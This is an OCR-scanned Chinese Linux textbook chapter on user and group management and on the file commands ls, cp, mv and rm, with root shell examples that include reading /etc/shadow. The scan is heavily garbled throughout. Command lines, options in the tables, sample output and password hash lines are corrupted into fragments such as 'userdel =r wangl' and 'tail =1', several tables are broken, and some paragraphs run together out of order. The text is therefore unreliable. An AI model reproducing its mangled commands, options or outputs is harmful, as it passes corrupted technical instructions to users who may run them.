haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 

SUTID: :2020 /aS Ds 

Gam dD /var/ Ill/ gm /in nl 
wyq:X:500:500:wyq:/home/wyq: /bin/bash 

wang:x:501:501::/home/wang:/bin/bash # 新 创建 的 wang 用 户 





# 查 看 加 密 后 的 用 户 账号 及 密码 信息 
[root@localhost ~]# tail -1 /etc/shadow 
Sse M630 








Eeeumn lO 
DER 
SG 
Re 
WE 
Se Un IAG DO 

relm ll A 0 

wyqd: 


$6$NXNWGCoK7E .G2KQOkK$LZjQAXPKC2SoX1F1gbgrUaP.b6rWkXMyU7bNOZNnQZAKP1h6pwpxew65Y3Cwb77HOWEYV. 


up myn eal le eee ee ee 
ET 











# 查 看 所 建立 账号 的 主 目录 






































ALsEij= 1 华 清 远 见 教育 集团 官网 : www. hqyj. com 
十 十 兢 力 





网 2-1 通过 增加 一 个 用 户 wang， 并 查看 其 相关 信息 ,来 帮助 用 户 理解 该 命令 所 执行 的 操 
作 。 可 以 通过 tail -1 A 来 查看 文件 新 创建 的 用 户 和 新 创建 的 用 户主 目 
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root@localhost ~]# ls /home 
wang wyq 
root@localhost ~]# 


例 2-1 中 , 首先 通过 useradd 命令 创建 了 一 个 新 的 用 户 wang, 然后 通过 “tail -1 /etc/passwd” 
命令 查看 文件 /etc/passwd, 可 以 看 到 ,为 wang 用 户 的 UID 为 501, 创 建 的 新 目录 为 /home/wang， 
接着 通过 “tail -1 /etc/shadow ”命令 查看 文件 /etc/shadow， 可 以 获得 用 户 wang 的 密码 ， 由 于 
还 没有 为 wang 用 户 创建 密码 ， 可 以 看 到 wang 后 为 “!!”， 表 示 用 户 密码 不 可 用 ， 最 后 通过 
ls 命令 查看 /home 目录 ， 可 以 看 到 为 wang 用 户 创建 的 主 目录 已 经 存在 。 

2. 修改 用 户 账号 一 一 usermod 

usermod 命令 可 用 来 修改 用 户 账号 的 各 种 属性 ， 包 括 用 户主 目录 、 私 有 组 、 登 录 Shell 等 
内 容 ，usermod 的 命令 格式 如 下 : 

usermod [option] [username] 

其 中 ,[option] 为 useradd 命令 选 项 ,而 [username] 是 需 修改 的 用 户 名 。 表 2-2 列 出 了 usermod 
命令 选项 及 其 意义 。 

表 2-2 usermod 命令 的 选项 及 其 含义 


选 项 


















































































































































-d [directory] 十 的 目 孙 











-e [days] 账号 的 有 效 期 限 ，days 表示 天 数 











-g [group] T 属 的 群 组 














-| [login_name] 变更 登录 时 的 名 称 为 login_name 














-p [password] 



































-s [shell] 指定 录 的 Shell， 如 果 不 设置 ， 则 选用 系统 预 设 的 Shell 




















需要 注意 的 是 ， 最 好 不 要 使 用 usermod 命令 修改 用 户 密码 ， 因 为 如 果 用 usermod 命令 ， 则 显 
示 在 文件 “/etc/shadow” 中 的 密码 是 明 密码 ， 应 该 用 passwd 命令 修改 密码 。 下 面 的 例 2-2 使 用 
usermod 来 修改 密码 ， 可 以 看 到 通过 tail 命令 查看 时 ， 该 用 户 的 密码 为 明码 ， 这 样 是 很 危险 的 ， 
如 果 其 他 用 户 打开 文件 “/etc/shadow”， 就 可 使 用 该 用 户 名 和 密码 登录 到 该 账号 上 。 

# 例 2-2: 使 用 usermod 修改 密码 

[root@localhost ~]# usermod -p 123456 wang 

# 通 过 tail =-1 查看 用 户 wang 的 密码 

[root@localhost ~]# tail -1 /etc/shadow 

SR 

Geom GO 

ER 

moe 





















































neuelaememe :AO 

SU :A OR 

colime sled GO es 

Wyq: 
$6$NXWGCoK7E.G2KOOk$LZJjQRAXPkC2SoX1E1gbgrUaP.b6rWkXMyU7bNOZnQZzAKPp1h6pwpxew65Y3Cwb77HOWEV . 
E27 2 EO A O00 90/ 

# 可 以 看 到 wang 用 户 的 密码 为 123456 

vee s 2 se Os 0 Ss esa 
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reootealeealneose 
还 需 注意 ，usermod 不 允许 改变 已 登录 用 户 的 用 户 账号 名 称 ， 当 用 户 修改 UID 时 ， 也 必 
须 确认 这 个 用 户 没 有 在 电脑 上 执行 任何 程序 。 下 面 的 例 2-3 演示 了 修改 正在 登录 用 户 的 账 名 
称 时 所 产生 的 错误 。 
例 2-3: 删除 正在 登录 用 户 的 用 户 账号 所 产生 的 错误 
wyd 是 当前 登录 用 户 ， 用 usermod 修改 时 发 生 错误 
wyq@localhost root]$ usermod wyd 

bash: /usr/sbin/usermod: Permission denied 

























































































wyq@localhost root]$ 


3. 删除 用 户 账号 命令 一 一 userdel 

userdel 命令 非常 简单 ， 只 有 一 个 可 选项 了 ， 如 果 在 userdel 后 加 上 -r 选项 ， 则 在 删除 用 户 
的 同时 也 一 并 删除 存储 在 /home 目录 下 的 该 用 户 目录 和 文件 .下 面 的 例 2-4 说 明了 使 用 -r 选项 
和 不 使 用 + 选项 的 区 别 。 
网 2-4: userdel 命令 使 用 -r 选项 和 不 使 用 -r 选项 的 区 别 


root@localhost ~ ls /home 




































































wang wangl wang2 wyq 
ne@etoloesnnosee. userdel =r wangl 
root@localhost ~ ls /home 

wang wang2 wyq 
nootaloenosee., userdel wang2 





root@localhost ~ ls /home 
wang wang2 wyq 


























Eeeclnsse 
从 例 2-4 中 可 以 看 出 , 当 使 用 + 选项 删除 用 户 账号 wangl 时 ,目录 /home 下 的 子 目 录 wangl 
被 删除 了 ; 删除 wang2 用 户 账 号 时 车 不 使 用 = 了 选项， 则 wang2 子 目 录 仍 然 存 在 。 
4. 用 户口 令 管理 命令 一 一 passwd 
用 户 管理 一 个 重要 的 内 容 就 是 用 户口 令 管理 。 用 户 账号 刚 建立 时 是 没有 口令 的 ， 但 是 会 
被 系统 锁定 ， 必 须 为 其 指定 口令 才能 使 用 ， 这 时 需 使 用 passwd 命令 ， 下 面 是 passwd 命令 的 
语法 格式 : 
passwd [option] [username] 


其 中 ，[option] 为 passwd 命令 选项 ，[username] 为 用 户 名 。 表 2-3 为 passwd 命令 选项 及 其 

























































































户口 令 ， 即 禁止 使 用 该 用 户 账 号 
人 解锁 
用 者 的 密码 确认 功能 ， 使 用 者 在 登录 时 可 以 不 用 输入 密码 ， 只 有 具备 root 用 户 的 使 用 者 才 可 使 


户 下 次 登录 时 修改 密码 









































































































































-| [login name] | 变 户 登 录 时 的 名 称 为 login_name 
































-S 显示 指定 使 用 者 的 密码 认证 种 类 ， 同 样 只 有 其 备 root 权限 的 用 户 才 可 使 
































当 用 户 作为 普通 用 户 修改 自己 的 密码 时 ， 首 先 会 提示 用 户 的 原 密码 ， 然 后 会 要 求 用 户 重 
新 输入 两 次 来 验证 用 户 新 口令 ， 如 果 口 令 一 致 ， 则 新 口令 设置 成 功 。 而 超级 用 户 root 为 用 户 
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设 定 密码 时 ， 则 不 需要 原 密码 。 

例 2-1 中 创建 的 用 户 账号 wang 还 无 法 使 用 ， 还 需要 使 用 passwd 命令 来 创建 账号 密码 。 
下 面 的 例 2-5 使 用 passwd 命令 为 wang 用 户 创建 账号 密码 。 

# 例 2-5: 为 wang 用 户 创建 账号 密码 


[root@localhost ~]# passwd wang 



































Changing password for user wang. 

New password: 

Retype new password: 

BAD PASSNORDS Eased ene dretioneary werd 

BAD PASSWORD: is too simple 

passwd: all authentication tokens updated successfully. 














# 查 看 加 密 后 的 用 户 账号 及 密码 信息 ， 可 以 看 出 该 账号 后 无 “!!”， 表 示 可 以 使 用 该 账号 了 
[root@localhost ~]# tail -1 /etc/shadow 
See :A GO 





eeloroho moe ul ol oe 
os er AO 
EUEE We A ee 

Cor rr: A G0 
lraleaemoern: i A680 
SoULDM :dO 


came :EAS SO 

Wyq: $6$9NXWGCoK7f.G2KOOk$LZjJOAXPkC2SoX1EF1gbgrUaP.b6rWkXMyU7bNOZnOZAKP1h6pwpxew65Y3Cw 
Bo ROWEV SE nb TE O00 OO 

wang: $6$s2PKmNwn$wjpv2JZzAAS5EPOGkU4Iir4/hqvTlYkTARuUB6B230wavXGeqUKumG8BPHXBRkKD9ggxAlx 
BoO29XpE MEEmiw ev OO A OO 

[root@localhost ~]# 


通过 例 2-1 和 例 2-5 对 比 可 以 看 出 ,用户 wang 在 文件 “/etc/shadow” 中 已 经 发 生 了 改变 ， 
凡是 在 文件 “/etc/shadow” 的 用 户 名 含 “11” 时 5 该 用 户 账 号 不 可 使 用 ， 而 为 加 密 信 息 时 是 可 
以 使 用 的 。 


2.1.2 用户 组 管理 常用 命 合 


用 户 组 就 是 具有 相同 特征 的 用 户 的 集合 体 ， 用 户 和 用 户 组 的 关系 是 多 对 多 的 ， 一 个 用 户 
可 以 属于 多 个 用 户 组 ， 同 样 ， 一 个 用 户 组 可 以 包含 多 个 用 户 。Linux 下 每 个 文件 都 有 一 个 用 
户 组 ， 当 创建 一 个 文件 或 目录 时 ， 系 统 会 赋予 其 一 个 用 户 组 关系 。 
用 户 组 的 管理 命令 包含 用 户 组 添加 命令 groupadd、 用 户 组 修改 命令 groupmod 和 用 户 组 
删除 命令 groupdel， 下 面 将 对 这 些 命令 进行 详解 。 

1. 用 户 组 添加 命令 一 一 groupadd 

groupadd 可 指定 用 户 组 名 称 来 建立 新 的 用 户 组 ， 需 要 时 可 从 系统 中 取得 新 用 户 组 值 。 其 
语法 格式 为 : 

groupadd [option] [groupname] 

其 中 ，[option] 为 groupadd 命令 选项 ，[groupname] 是 将 要 创建 的 用 户 组 名 ， 表 2-4 为 
groupadd 命令 的 选项 及 其 意义 。 

表 2-4 groupadd 命令 的 选项 及 其 意义 


选 项 意 义 
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除非 使 用 -o 参数 ， 和 否则 GID 值 必须 是 唯一 且 数 值 不 可 为 负 ， 预 设 值 以 /etc/login.defs 为 准 

















运行 GID 不 唯一 














加 入 组 GID 号 ， 有 其 GID 号 低 于 499 系统 账号 











新 增 一 个 已 经 存在 的 用 户 组 账号 ， 系 统 会 出 现 错误 信息 ， 然 后 结束 












































groupadd 命令 其 实用 起 来 非常 简单 ， 下 面 的 例 2-6 添加 了 一 个 GID 为 666 的 用 户 组 
wangyq， 可 以 在 文件 /etc/group 的 目录 中 查看 到 GID 为 666 的 用 户 组 wangyq。 

# 例 2-6: 使 用 groupadd 命令 添加 用 户 组 wangyq 

[root@localhost ~]# groupadd -g 666 wangyq 

[root@localhost ~]# tail =1 /etc/group 

Wi 

SMe x 400 

Corrent: 8 














haldaemon:x:68: 
SUTDE Se 2 
me A 
Wy 00: 
Ww amg ee S/O: 
wangyq:x:666: 
wangl:x:345: 
[root@localhost ~]# 
如 果 调 用 groupadd 命令 时 不 设置 GID 号， 如 下 面 命令 : 
onovaclee om 
则 在 系统 中 增加 一 个 新 组 group1， 新 组 的 组 标识 GID 是 在 当前 最 大 组 标识 的 基础 上 加 1。 
2. 用 户 组 修改 命令 一 一 groupmod 
groupmod 可 指定 用 户 组 名 称 来 修改 新 的 用 户 组 号 或 用 户 组 名 称 ， 其 语法 格式 为 : 
groupmod [option] [groupname] 


其 中 ，[option] 为 groupmod 命令 选项 ， [groupname] 为 用 户 组 名 ， 表 2-5 为 groupmod 命 
令 选 项 及 其 意义 。 


表 2-5 groupmod 命令 的 选项 及 其 意义 






















































































户 指 定 新 的 GID 

















重复 使 用 GID 
为 群 组 改名 
































例 2-7 是 将 用 户 组 wangyq 的 群 组 号 修改 为 555， 通 过 命令 tail 可 以 看 出 该 用 户 组 的 GID 
修改 成 功 。 


# 例 2-7: 使 用 groupmod 修改 用 户 组 号 
lseereloealhos ee He ou mo wane 
[root@localhost ~]# tail =1 /etc/group 
wbpriv:x:88:sqUID 

Smouie: x Ao: 
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可 以 看 出 该 用 户 组 已 找 不 到 了 。 
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toneemt. do 
namaaemonme: Se oe. 
SVED :S02 

Tem: 42 

WY O00: 
Wang x :oO 

wa ne :555 

wa lS 3 A: 
[root@localhost ~]# 


3. 用 户 组 删除 命令 一 一 groupdel 





groupdel 可 指定 用 户 组 名 称 来 删除 已 有 的 用 户 组 ， 


groupdel [groupnamel] 
该 命令 非常 简单 ， 但 需 注意 的 是 ， 如 果 该 | 
然后 才能 删除 该 用 户 组 。 下 












































# 例 2-8: 用 groupdel 删除 用 户 组 
[root@localhost ~]#groupdel wangyq 

# 查 看 文件 /etc/group 可 以 看 到 用 户 组 wangyq 已 被 删除 
[root@localhost ~]# tail -=1 /etc/group 
stapus e490: 

WB Se ED 

SmolE: :M489 

torrent:x:488: 

haldaemon:x:68: 

So ND 

lm 

WA eR OE 

Nano 























wangl:x:345: 
[root@localhost ~]# 


网 交 文 人 + 和 日 录 织 作 


在 多 数 操作 系统 中 都 有 文件 的 概念 。 文 件 是 Linux 用 来 存储 信息 
〈《 称 为 文件 名 ) 的 存储 在 某 种 介 








质 〈 如 磁盘 、 





光 租 


























































































































面 的 例 2-8 是 一 个 删 




















和 磁带 等 ) 上 的 一 组 信 





其 语法 格式 为 


] 户 组 中 包含 某 些 用 户 ， 则 必须 先 删 除 这 些 用 
除 用 户 组 wangyq 的 例子 ， 通过 tail 命令 

















站 

















的 基本 结构 ， 


mr > AN 
它 是 被 命名 
和 


息 的 集合 。Linux 文件 

















































































































均 为 无 结构 的 字符 流 形式 。 文 件 名 是 文件 的 标识 ， 它 由 字母 、 数 字 、 下 画 线 和 圆 点 组 成 的 字符 串 
构成 。Linux 要 求 文件 名 的 长 度 限 制 在 255 个 字符 以 内 。 | 

为 了 便于 识别 和 管理 ， 用 户 可 以 把 扩展 名 作为 文件 名 的 一 部 分 ， 文 件 名 与 扩展 名 之 间 用 
圆 点 分 开 ， 扩 展 名 对 于 文件 分 类 是 十 分 有 用 的 。 用 户 可 能 经 对 菜 此 大众 已 接纳 的 标准 扩展 
名 比较 熟悉 了 ， 例 如 ，C 语言 编写 的 源 代码 文件 总 是 具有 C 的 扩展 名 。 用 户 可 以 根据 自己 的 
需要 ， 加 入 自己 的 文件 扩展 名 。 

在 计算 机 系统 中 存 有 大 量 的 文件 ， 如 何 有 效 地 组 织 与 管理 它们 ， 并 为 用 户 提 供 一 个 使 用 
方便 的 接口 是 文件 系统 的 一 大 任务 。Linux 系统 以 文件 目录 的 方式 来 组 织 和 管理 系统 中 的 所 
有 文件 。 所 谓 文 件 目 录 ， 就 是 将 所 有 文件 的 说 明 信 息 采 用 树 形 结构 组 织 起 来 ， 即 我 们 常 说 的 
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目录 。 也 就 是 说 ， 整 个 文件 系统 有 一 个 “ 根 ” (root) ， 然 后 在 根 上 分 “ 权 ” (directory) ， 
任何 一 个 分 权 上 都 可 以 再 分 权 ， 权 上 也 可 以 长 出 “叶子 ”。“ 根 ”和 “ 权 ” 在 Linux 中 被 称 
为 “目录 ”或 “文件 来”， 而 “叶子 ” 则 代表 一 个 个 的 文件 。 实 践 证 明 ， 此 种 结构 的 文件 系 
统 效率 比较 高 。 

对 文件 进行 访问 时 ， 需 要 用 到 “路 径 ” (Path) 的 概念 。 何 谓 路 径 ? 顾名思义 ， 路 径 是 
指 从 树 形 目 录 中 的 某 个 目录 层次 到 某 个 文件 的 一 条 道路 。 路 径 的 主要 构成 是 目录 名 称 ， 中 间 
用 “/” 符 号 分 开 。 任 一 文件 在 文件 系统 中 的 位 置 都 是 由 相应 的 路 径 决 定 的 。 用 户 在 对 文件 进 
行 访问 时 ， 要 给 出 文件 所 在 的 路 径 ， 这 又 分 相对 路 径 和 绝对 路 径 。 相 对 路 径 是 从 用 户 工 作 目 
录 开 始 的 路 径 ， 绝 对 路 径 是 指 从 “ 根 ” 开 始 的 路 径 ， 也 称 为 完全 路 径 。 

应 该 注意 到 ， 在 树 形 目录 结构 中 到 某 一 确定 文件 的 绝对 路 径 和 相对 路 径 均 只 有 一 条 。 绝 
对 路 径 是 确定 不 变 的 ， 而 相对 路 径 则 随 着 用 户 工 作 目 录 的 变化 而 不 断 变化 。 这 一 点 对 于 我 们 
以 后 使 用 某 些 命令 如 cp 和 tar 等 大 有 好 处 。 
里 解 了 文件 、 目 录 和 路 径 的 概念 后 ， 下 面 讲述 文件 和 目录 操作 中 经 常用 到 的 各 种 命令 。 


2.2.1 文件 操作 常用 命令 


文件 操作 常用 命令 包括 文件 清单 命令 ls、 文件 复制 命令 cp、 文件 移动 命令 mv 和 删除 文 
件 命 令 rm， 下 面 我 们 逐一 讲述 这 些 命 令 。 

1. 文件 清单 命令 一 一 ls 

ls 命令 是 英文 单词 list 的 简写 ， 其 功能 是 列 出 目录 下 的 文件 和 子 目 录 的 相关 信息 。ls 命 
令 是 用 户 最 常用 的 命令 之 一 ， 因 为 用 户 需要 不 时 地 查看 某 个 目录 中 的 信息 ， 该 命令 类 似 于 
DOS 下 的 dir 命令 ， 其 语法 格式 为 : 

ee be rene eleere eene| 
其 中 ，[option] 为 命令 选项 ，[file or directory] 对 应 于 文件 或 目录 。 如 果 [file or directory] 为 
目录 ， 该 命令 将 列 出 该 目录 下 的 所 有 子 目 录 与 文件 ， 如 果 [file or directory] 为 文件 ， 则 1s 命令 
将 输出 该 文件 名 及 相关 信息 。 默 认 情况 下 ， 输 出 条 目 按 字母 顺序 排序 ， 当 未 给 出 目录 名 或 是 
文件 名 时 ， 就 显示 当前 目录 的 信息 。 表 2-6 给 出 了 ls 命令 选项 及 其 意义 。 


表 2-6 ls 命令 的 选项 及 其 意义 
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显示 指定 目录 下 所 有 的 子 目录 与 文件 ， 包 括 隐 藏 文件 

显示 指定 目录 下 所 有 的 子 目 录 与 文件 ， 包 括 隐 藏 文件 ， 且 不 列 出 “.” 和 “..” 
对 文件 名 中 的 不 可 显示 字符 用 八进制 逃逸 字符 显示 

按 文 件 的 修改 时 间 排 序 

























































































分 成 多 列 显 示 各 项 


如 果 参 数 是 目录 ， 只 显示 其 名 称 ， 而 不 显示 其 下 的 各 文件 。 往 往 与 1 选项 一 起 使 用 ， 以 得 到 目 
细 信 息 


不 排序 ， 该 选项 将 使 ls 选项 失效 ， 使 用 aU 选项 有 效 
在 输出 的 第 一 列 显示 文件 的 i 节点 号 
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以 长 格式 来 显示 文件 的 详细 信息 ， 每 行列 上 
} 属 组 、 文 件 大 小 、 最 近 修改 的 时 间 


、 名 字 








8 的 信息 依次 是 : 文件 类 型 与 权限 、 链 接 数 、 文 件 








指定 的 名 称 为 一 个 符号 链接 文件 ， 





则 显示 链接 所 指向 的 文件 











8 按 字 


符 流 格式 ， 文 件 跨 页 显示 ， 





洋 


输出 格式 与 1 选项 相同 ， 只 
际 的 名 称 








过 在 输出 文件 属 主 























相应 的 UID 号 和 GID 号 来 表示 ， 


而 不 是 





与 1 选项 相同 ， 


只 是 不 显示 可 




















在 目录 后 面 加 


个 “J» 





将 文件 名 中 的 不 可 显示 字符 

















按 字 母 逆序 或 最 早 








CE 先 的 顺序 8 








递归 式 地 显示 指定 




















录 的 各 个 子 



































导 录 项 所 用 的 块 数 ， 包 




















修改 时 间 《〈 最 近 优 先 ) 而 不 是 按 名 字 排 序 ; 若 文件 修改 时 间 相 同 ， 则 按 字 4 
使 用 了 或 u 选 项。 默认 的 时 间 标记 是 最 后 一 次 修改 时 间 





























顺序 ， 修 改 时 间 








显示 时 按 文 
问 的 时 间 





后 上 次 存 取 的 时 间 (最 近 优 先 ) 而 不 是 按 名 字 排 序 。 即 将 -t 的 时 间 标 记 人 











下 面 的 例 2-9 演示 了 ls 命令 -1 选项 的 用 法 ，-1 是 Ts 命令 


目录 的 详细 信息 。 








# 例 2-9: 列 出 /home/wyq/she] 
eeeoleealnese HL 





EEC 

-En 
= WE = 
lrwxrwxrWwx. 


EWE 





VW 


[oot@localhost ~]# 


从 例 2-9 的 结果 可 以 看 出 ，1s -1 命令 列 出 的 详细 信息 包含 文人 


按 行 显示 出 各 排序 项 的 信息 


root 
Ge 
root 
root 
EoD 





Toot 
Eee 0 
FOGE 
SEE 22 2 
Eee lo 20 




















最 常用 的 选项 ， 用 于 列 H 





11/chapter15 目录 下 的 所 有 文件 和 目录 的 详细 信息 
/home/wyq/shell/chapter15 





ES av 
05S02004 .0aev2 sn 
S20 lo 0 S02 O00 Ee ne > /ev nu 
0=0e=02 Vise ee 
9=03-0202:33 PProe2 sn 


Sl 








文件 和 


F 或 目录 的 权限 、 所 属 用 户 


和 用 户 组 、 创 建 时 间 等 。 需 要 指出 的 是 ，Linux 系统 将 1 命令 作为 ls -1 命令 的 别名 ， 即 11 命 
令 也 可 以 列 出 文件 或 目录 的 详细 信息 。 


2. 文件 复制 命令 














cp 








cp 命令 可 以 将 给 出 的 文件 或 目录 复制 到 为 一 文件 或 目录 中 ， 束 如 同 DOS 下 的 copy 命令 





Eee 


大 。cp 命令 


一 样 ， 功 能 非常 强 
Source| 


该 命令 把 指定 的 源 文 件 复制 到 目标 文件 或 把 多 个 源 文 件 复制 到 目标 目录 中 , 其 中 








[destination] 











的 一 般 格式 如 下 所 示 : 



































, [option] 


为 cp 命令 选项 ，[source] 为 源 文 件 ， 而 [destination] 为 目标 目录 或 目标 文件 。 表 2-7 给 出 了 cp 





命令 选项 及 其 意 》 


o 


表 2-7 cp 命令 的 选项 及 其 意义 
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该 选项 通常 在 复制 目录 时 使 用 ， 它 保留 链接 、 文 件 属性 ， 并 递归 地 复制 

















复制 时 保留 链接 




















删除 已经 存在 的 目标 文件 而 不 提示 
在 覆盖 目标 文件 之 前 将 给 出 提示 要 求 用 户 确认 。 回 二， 目标 文件 将 被 覆盖 ， 是 交互 式 复 制 













































































此 时 cp 除 复制 源 文件 的 内 容 外 ， 还 将 把 其 修改 时 间 和 访问 权限 也 复制 到 新 文件 中 












































若 给 出 的 源 文 件 是 目录 文件 ， 此 时 cp 将 递归 复制 该 目录 下 所 有 的 子 目 录 和 文件 。 此 时 目标 文件 必须 
为 一 个 


不 进行 复制 操 

































































需要 说 明 的 是 , 为 防止 用 户 在 不 经 意 的 情况 下 用 cp 命令 破坏 另 一 个 文件 ,如 用 户 指定 的 
目标 文件 名 已 存在 ， 用 cp 命令 复制 文件 后 ， 这 个 文件 就 会 被 新 源 文件 覆盖 。 因 此 ， 建 议 用 户 
在 使 用 cp 命令 复制 文件 时 ， 最 好 使 用 i 选项， 在 覆盖 文件 时 进行 最 后 确认 。 

下 面 的 例 2-10 演示 了 将 文件 chapter13/file.txt 复制 到 目录 testdir 中 ， 可 以 看 出 ， 在 不 加 
任何 选项 的 情况 下 ， 文 件 的 权限 改变 了 ， 同 时 文件 修改 的 时 间 也 改变 了 。 

例 2-10: 将 文件 chapter13/file.txt 复制 到 目录 testdir 中 
root@localhost shell ce chnapterl /eile te Ceased 
root@localhost shell ls -1 chapter13/file.txt testdir/file.txt 
-rwr-rw-r--. 1 root root 51 2010-03-03 23:36 chapter13/file .txt 


-rw-r--r-=-. 1 root root 51 2010-=03-04 00:46 testdir/file.txt 
root@localhost shell 


下 面 的 例 2-11 在 cp 命令 的 基础 上 加 了 -a 选项 , 则 两 个 文件 权限 和 修改 时 间 未 发 生 改 变 。 
例 2-11: 将 文件 chapter13/file.txt 复制 到 目录 testdir 中 ， 且 不 改变 权限 和 修改 日 期 












































































































































root@localhost shell le enaoteml /ene te testa /el ex 
=rwr-rw-r--. 1 root root 51 2010-=03-=03 23:36 chapter13/file.txt 
-rwr-rw-r-=. 1 root root 51 2010-=03-03 23:36 testdir/file.txt 


rootQ@localhost shell 
cp 命令 的 -选项 可 实现 目录 的 复制 ， 如 果 直 接 复制 目录 ， 将 产生 如 下 错误 : 
root@localhost shell eo remem es ee 
ep omnmeeine Ee en 直接 复制 目录 产生 的 错误 
root@localhost shell 


下 面 的 例 2-12 演示 了 正 
testdir 中 。 


例 2-12: 将 目录 中 全 部 内 容 复制 到 另 一 个 目录 中 
查看 shell 目录 下 的 文件 和 子 目 录 
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确 的 目录 复制 过 程 ， 将 目录 chapter13 中 的 全 部 内 容 复 制 到 目录 











































































































































































































rootQ@localhost shell]#1ls 
enaptEserlomMm enaeterts enaeterdon tnetnons new em testa te sh 
查看 testdir 目录 下 的 文件 和 子 目 录 
rootQ@localhost shell]#1ls testdir 
fTlestxt 
使 用 cp -= 命令 复制 目录 chapter13 及 其 目录 下 的 子 目 录 和 文件 到 testqdir 
reootQ@localhost shell cp Tr enabterl Cestanre 
使 用 cp 命令 后 再 次 查看 目录 testdir 
rootQ@localhost shell ls testdir 
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称 
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celepterl fiedtxt 
[root@localhost chapterl13]# 

















可 以 看 出 , 在 复制 前 , testdir 目录 仅仅 有 一 个 文件 fle.txt, 而 使 用 “cp -r chapter13 testdir” 
令 时 ，testdir 目录 中 存在 目录 chapter13， 说 明 chapter13 目录 复制 成 功 。 


3. 文件 移动 命令 一 一 mv 
myv 命令 可 用 于 将 文件 或 目录 从 一 个 位 置 移 动 到 另 一 个 位 置 ， 
令 还 可 用 于 重 命名 ， 其 一 般 的 格式 为 : 























moetrnonmsoureeliesstlneEenl 


其 中 ，[option] 为 mv 命令 选项 ，[source] 为 源 目 








录 或 文件 ，[de 

















， 源 文件 或 目 














件 ， 如 果 [destination] 类 型 是 文件 时 ，myv 命令 将 所 给 的 源 文件 或 目 
件 名 ， 此 时 ， 源 文件 只 能 有 一 个 (也 可 以 是 源 目录 ); 如 果 [destination] 是 
录 参 数 可 以 有 多 个 ，myv 命令 将 各 参数 指定 的 源 文件 全 部 移 至 日 





Vy 


同时 可 移动 多 个 文件 。 





IOV 


stination] 为 目标 目录 或 目标 
录 重 命名 为 给 定 的 目标 
三 存在 的 目录 名 
标 目录 中 。 












































跨 文件 系统 移动 时 ，myv 先 复 制 ， 再 将 原 有 文件 删除 ， 从 而 导致 该 文件 的 链接 丢失 。 表 2-8 
出 了 myv 命令 选项 及 其 意义 。 











表 2-8 myv 命令 选项 及 其 意义 
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EE 
忆 

















交互 方式 操作 。 如 果 mv 操作 将 导致 对 已 存在 的 
户 回答 y 或 n， 这 样 可 以 避免 误 覆 盖 文 件 





























标 文件 的 覆盖 ， 此 时 系统 询问 是 否 重 写 ， 要 



































禁止 交互 操作 。 在 mv 操作 要 覆盖 某 已 有 的 E 
有 起 作用 























标 文件 时 不 给 任何 指示 ， 指 定 此 选项 后 ，i 选项 将 不 





户 用 myv 命令 破坏 另 一 个 文件 ， 使 用 mv 命令 移动 文件 时 ， 最 好 使 用 i 选项 ， 


起 


移动 时 保持 权限 











如 果 所 给 目 





标 文件 〈 不 是 目录 ) 已 存在 ”此 时 该 文件 的 内 容 将 被 新 文件 覆盖 。 为 防止 用 











例 2-13 是 交互 


mv 命令 的 应 用 ， 该 例 使 用 mv 命令 将 文件 filel.txt 重 命名 为 file2.txt。 


# 例 2-13: 将 文件 filel.txt 重 命名 为 file2 .txt 
[root@jselab chapter13] 上 # ls -il file* 





42 CE | reo eo 9 Zn0 Ys5=19 O61 Tilel sn 
2 SN | Heo rao 0 20 019 V6 19 F111el ZE 
ZT nn I oo oe 0 2000 035=10 06020 HE2 rE 
2 SE | seo Loo 0 ZU 0 1 V6521 F111e3 


20479 = | Joo Teo SL 2000513 185522 File rE 
使 用 mv 交互 式 命令 将 filel .txt 重 命 名 为 file2 .txt 

eoteiselap chapterl3]t my Tee Ex Fie Ext 
MV OverweEneeq Eile2 EXE ?YY 

了 

[ 


站 




















root@jselab chapter1l3]+# 
A 
及 下 修了 二 二 站 下 三 三 二 三 三村 
之 直人 了 国王 证 二 下 三 三 下 三 三 
2 


sr = be 

Oma 05 E3005 
0 2200 05 E9006 200 Eos2 EE 
a0 05 F000 0 Emies 
sa20l0 0 020 :050 Fle EE 





LE 
GO 
Qo 
Eee 
[root@jselab chapterl13]# 


对 于 目录 的 重 命 名 ,同样 可 以 使 用 mv 命令 实现 , 例 2-14 将 目 


root 
root 
root 





root 





次 查看 chapter13 中 含 file 的 文件 ， 可 以 看 出 file1 .txt 消失 ，fi1le2 .txt 的 修改 时 间 改 变 









































录 testdir 命名 为 chapter2， 












































有 目录 中 的 内 容 也 未 发 生 改 变 。 
例 2-14: 将 目录 testdir 命名 为 chapter2 
侍 清 元 外 华 清 远 见 教育 集团 官网 : www. hqyj. com 
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[root@localhost shelll]# ls 
enaptserlom enaeterts enapterleontnetions new me testar te sh 


[root@localhost shelll# mv testdir chapter2 

[root@localhost shelll]# ls 

chapter13 chapter1l5 chapter1l6 chapter2 functions .new rmdir tt.sh 
[root@localhost shell]# 


4. 删除 文件 命令 一 一 rm 

rm 命令 提供 删除 文件 功能 ,该 命令 可 以 删除 目录 中 的 一 个 或 多 个 文件 或 子 目 录 , 它 也 可 
以 将 某 个 目录 及 其 下 的 所 有 文件 及 子 目 录 均 删除 。 删 除 单个 文件 不 用 带 任何 参数 ， 如 果 是 市 
除 整个 目录 及 日 录 下 的 所 有 了 文件， 需要 带 -rf 参数 。 其 一 般 格式 为 : 

rm [option] [fileName or directoryName] 
其 中 ，[option] 为 rm 命令 选项 ，[fileName or directoryName] 为 文件 名 或 子 目 录 名 。 表 2-9 
列 出 了 rm 命令 选项 及 其 意义 。 














































































































表 2-9 rm 命令 的 选项 及 其 意义 





忽略 不 存在 的 文件 ， 从 不 给 出 
指示 rm 将 参数 中 列 出 的 全 部 录 均 递归 地 删除 
进行 交互 式 删除 












































使 用 rm 命令 要 小 心 ， 因 为 一 旦 文件 被 删除 它 是 不 能 被 恢复 的 。 为 了 防止 这 种 情况 的 
发 生 ， 可 以 使 用 i 选项 来 逐个 确认 要 删除 的 文件 。 如 果 用 户 输入 y， 文 件 将 被 删除 ， 而 如 果 
输入 任何 其 他 字段 ， 文 件 则 不 会 被 删除 。 

如 果 删 除 的 是 文件 ， 则 其 格式 为 : 

rm fileName 

如 果 删 除 的 是 目录 ， 则 其 格式 为 : 

rm -rf directoryName 
列 2-15 演示 了 rm 命令 的 用 法 ， 该 例 删 除 目 录 shell 下 的 文件 function.new 和 目录 rmdir。 
可 以 看 出 ， 在 删除 文件 时 ，Linux 会 提示 用 户 是 否 要 删除 该 文件 

例 2-15: 使 用 xm 删除 一 个 目录 及 该 目录 下 的 文件 和 子 目录 
root@jJselab shell le 
